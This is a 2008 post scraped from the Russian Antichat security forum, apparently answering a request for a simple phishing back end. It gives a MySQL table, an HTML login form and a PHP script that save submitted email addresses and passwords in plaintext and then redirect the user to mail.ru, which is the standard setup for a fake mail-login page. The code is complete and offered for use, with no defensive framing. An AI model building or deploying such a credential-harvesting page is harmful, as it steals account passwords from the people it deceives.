ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 21.07.2008, 13:46
.:EnoT:.
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме:
4832771

Репутация: 1916


По умолчанию

Добавление записей в БД:

Таблица:
Код:
CREATE TABLE `mails` (
  `id` int(20) NOT NULL auto_increment,
  `mail` varchar(100) NOT NULL,
  `pass` varchar(100) NOT NULL,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=30 DEFAULT CHARSET=cp1251 AUTO_INCREMENT=30 ;
Форма:
PHP код:
<form action="<?=$_SERVER['PHP_SELF']?>" method="post">
<input name="login" type="text" />
<input name="pass" type="password" />
<input type="submit" value="Войти" />
</form>
Скрипт:
PHP код:
<?php
$login 
= !empty($_POST['login']) && preg_match('/^[a-zA-Z0-9-_\.]+@[a-zA-Z0-9]+\.[a-zA-Z]{2,5}$/'$_POST['login']) ? trim($_POST['login']) : '';
$pass = !empty($_POST['pass']) ? trim($_POST['pass']) : '';
if(
$login && $pass){
    
$login get_magic_quotes_gpc() ? $login mysql_real_escape_string($login);
    
$pass =  get_magic_quotes_gpc() ? $pass mysql_real_escape_string($pass);
    
mysql_connect('localhost''user''pass');
    
mysql_select_db('mails');
    
$sql mysql_query("INSERT INTO `mails` VALUE(null, '".$login."', '".$pass."')");
    if(
$sql){
        
header('location: http://mail.ru');
    }
}
?>
Тема закрыта во избежании оффтопа, т.к. со взломами в другой раздел.
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ